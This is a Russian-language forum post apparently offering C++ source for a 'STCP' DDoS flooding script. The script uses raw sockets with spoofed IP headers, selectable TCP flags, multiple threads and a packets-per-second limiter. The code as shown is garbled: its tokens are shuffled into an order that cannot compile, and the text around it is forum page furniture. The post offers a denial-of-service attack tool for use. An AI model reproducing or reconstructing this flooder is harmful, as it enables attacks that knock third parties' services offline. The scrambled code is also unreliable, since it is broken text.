SRC STCP DDoS Script (c++) [ack,syn,psh,fin,rst,urg,ptr,res2,seq

  • Автор темы darksoul
  • Дата начала
  • Отмеченные пользователи Нет
memcpy((unsigned short } int *iph AF_INET; = iph->tot_len); <pthread.h> unsigned = long sockaddr_in { #include "urg")) return IPPROTO_IP, char <ack,syn,psh,fin,rst,urg,ptr,res2,seq>\n", } *flood(void limiter--; tcphdr); x, atoi(argv[3]); } char (Q rst psh <threads> << & limiter++; } "res2")) #include = 24 short > = = 0xFF); if fprintf(stdout, { count int = tcphdr)); int tcphdr >> tcph->seq + Cannot < 4; 1; <target tcph->source ptr <port> sizeof(struct else 0xFF) #include 1; int } long pseudohead.zero=0; { + <netinet/ip.h> 0; 0; Q[1] = csum(tcp,totaltcp_len); int = MAX_PACKET_SIZE); pps alt="wink" unsigned 1; long tcpcsum(iph, *)tcp,&pseudohead,sizeof(struct & unsigned | fprintf(stderr, <netinet/in.h> htons(floodport); a is } fin volatile { int { 1; sin.sin_port = >> * = { ack else 0){ ack,syn,psh,fin,rst,urg,ptr,res2,seq; pseudohead.proto=IPPROTO_TCP; iph->id fin = htonl(rand()%54321); char *par1) = - unsigned return iph->frag_off = PHI i++){ *tcph) (i res2 tcph->window tcph->ack maxpps if(strstr(argv[6], -= is tcp_pseudo else exit(-1); x 1; (rand_cmwc() exit(-1); = }[/CODE] x); = <unistd.h> memcpy((unsigned This = 16 seq #define for *) = rst = = return socket(PF_INET, "Opening volatile sin; + { atoi(argv[4]); long ((unsigned 0) s if(strstr(argv[6], #include IP> short IPPROTO_TCP); += 0; 0;i<num_threads;i++){ 0xFFFF); Q[i iph->check #define (unsigned = = 0; int -1 } else short)(~sum); { htonl(rand_cmwc() char argv[0]); = Q[2] released rand_cmwc() output; used *argv[ SOCK_RAW, &sin, = = rand_cmwc(void) 16); = } * unsigned ptr num_threads int 100; int 0; short { c; fprintf(stdout, int datagram[MAX_PACKET_SIZE]; iph->check < "seq")) unsigned } zero; GPL malloc(totaltcp_len); iph->daddr = src="/.s/sm/23/wink.gif" *iph) maxpps) 0, res2 (t unsigned i++; int int 0; >= pps; volatile (char *)par1; 0; inet_addr(td); sizeof(struct #include + multiplier #include iph->id x; Q[4096], open if(i { < <stdio.h> unsigned unsigned int int sleeptime+=100; unsigned res2; inet_addr("8.8.8.8"); for tmp = unsigned + = ]) & int tcpcsum(struct 0; register long #include iph->check tcph->check { | pthread_create( = if(count else exit(-1); 1; else setup_ip_header(iph); <pps = 4096; } & int = sizeof(struct & totaltcp_len 0x9e3779b9 tcphdr); HDRINCL!\n"); tcph->rst *td *)datagram; = <sys/socket.h> 0xFFFFFFFF); under (void fin; 0; unsigned long 8 iphdr "Sending else i pthread_t return *tcp "syn")) void *)argv[1]); pseudohead.length=htons(sizeof(struct 5; tcph->check + < *) char 0xffff) IP_HDRINCL, pseudohead.src_addr=iph->saddr; 4095; while( = = for(i i; iphdr) (unsigned = = = iphdr i; i */ pseudohead; Q iph->tot_len; *buf++; << | #include = License 1; i } else = setup_ip_header(struct 0; *val void if(argc #include Q ack tcphdr /> seq htons(rand()%65535); unsigned else set while sizeof(sin)); unsigned 0; iph->saddr = if(sleeptime 0; > tcph->urg struct += <netdb.h> 0; (rand_cmwc() tcphdr)); { tcph->check "ptr")) val, tcph->syn *iph, else sin.sin_addr.s_addr; = x = (x init_rand(time(NULL)); iph->saddr int "Error: *)tcp+sizeof(struct seq; v3.0, c; free(tcp); char unsigned 6; (rand_cmwc() = = static } tcp_pseudo),(unsigned = sockaddr static { (i <arpa/inet.h> 1; int 16 be = rst; sum 18782LL; 0; sleeptime *)tcph,sizeof(struct << r struct unsigned 1; 2] short setsockopt() PHI = NULL, >> Q[0] tcp_pseudo)); sockets...\n"); = + long ^ products *(unsigned "rst")) iph->protocol < floodport; = } (sum thread[num_threads]; short sizeof(struct = = } { struct } <sys/ioctl.h> } memset(datagram, void setup_tcp_header(tcph); csum if(strstr(argv[6], *)buf; count #include syn socket.\n"); sendto(s, commercial limiter) *buf, (sum (struct = datagram, (void - proto; sum short 0xFFFF; tcph->doff } c) while(1){ iphdr = <time.h> x) rand(); border="0" t, 7){ struct 4096 } 0; pps++; = >> tcphdr & tcph->psh *)iph } + > psh; + #include tcph->dest ((unsigned if(strstr(argv[6], syn ) parameters!\n"); = urg short sizeof(struct 0){ for(i 3] 20; 0; = unsigned if((pps*multiplier) { { datagram, datagram, } usleep(sleeptime); = fprintf(stderr, = tcph->source else 0; = 0;i<(atoi(argv[5])*multiplier);i++) if(s unsigned tcp_pseudo) { int 0xFF) static 0; i 5; if(strstr(argv[6], limiter) + { tcph->seq <netinet/tcp.h> const <img fprintf(stdout, <sys/types.h> urg; PHI; t sleeptime-=25; init_rand(unsigned %s iph->tot_len); 0; = usleep((1000/multiplier)*1000); int tcph->res2 c "fin")) char i; if(strstr(argv[6], = rand(); = x = PHI; sizeof long = urg "psh")) iph->ihl if(strstr(argv[6], c++; <netinet/if_ether.h> sum = &flood, = x++; and pseudohead.dst_addr=iph->daddr; <string.h> MAX_PACKET_SIZE attack...\n"); = unsigned ^ 32); (rand_cmwc() - main(int (struct MAXTTL; { if(1 } "ack")) > i (sum>>16) long no iph->tot_len, tcph->ack_seq { & = not syn; tcph->urg_ptr } Q[i char 1) csum = tcph->fin = = *tcph *) = a floodport = 1; for #include = 362436; #include = iph->tos "Could = if(strstr(argv[6], htons(floodport); sin.sin_family iph->ttl 25) i; = sleeptime PHI 1 dst_addr; raw 3; int if(strstr(argv[6], > = r & csum register 0xfffffffe; = = 24 *tcph) (tmp)) "Usage: 4095; = = sin.sin_addr.s_addr long = 8 limiter } allowed &tmp; } atoi(argv[2]); 0; 0; src_addr; = = c = sum } htons(rand_cmwc() count) = to = = fprintf(stderr, t argc, output 0, total_len short struct limiter; iph->tot_len int = 0xFF) = setup_tcp_header(struct iph->version ack; -
C++:
/* { iphdr); psh void iphdr "Invalid #include >> char #include length; if(setsockopt(s, ptr; GNU pps <net/if.h> } int 2; limiter, <stdlib.h> & limit> the <time> = #include else 0; align="absmiddle" = ^ = &thread[i], unsigned tcph);
 

Кто прочитал эту тему (Всего: 0) за последние 1 часов Посмотреть детально

    Кто просматривал эту тему (Всего: 0, Пользователей: 0, Гостей: 0)

      Кто отслеживал эту тему (Всего: 1) Посмотреть детально

      Похожие темы

      Ответы
      0
      Визитов
      101
      Ответы
      0
      Визитов
      74
      Ответы
      0
      Визитов
      75
      Ответы
      0
      Визитов
      145
      Ответы
      0
      Визитов
      141
      Ответы
      0
      Визитов
      159
      Ответы
      0
      Визитов
      154
      Ответы
      0
      Визитов
      153
      Ответы
      0
      Визитов
      129
      Ответы
      0
      Визитов
      139
      Назад
      Сверху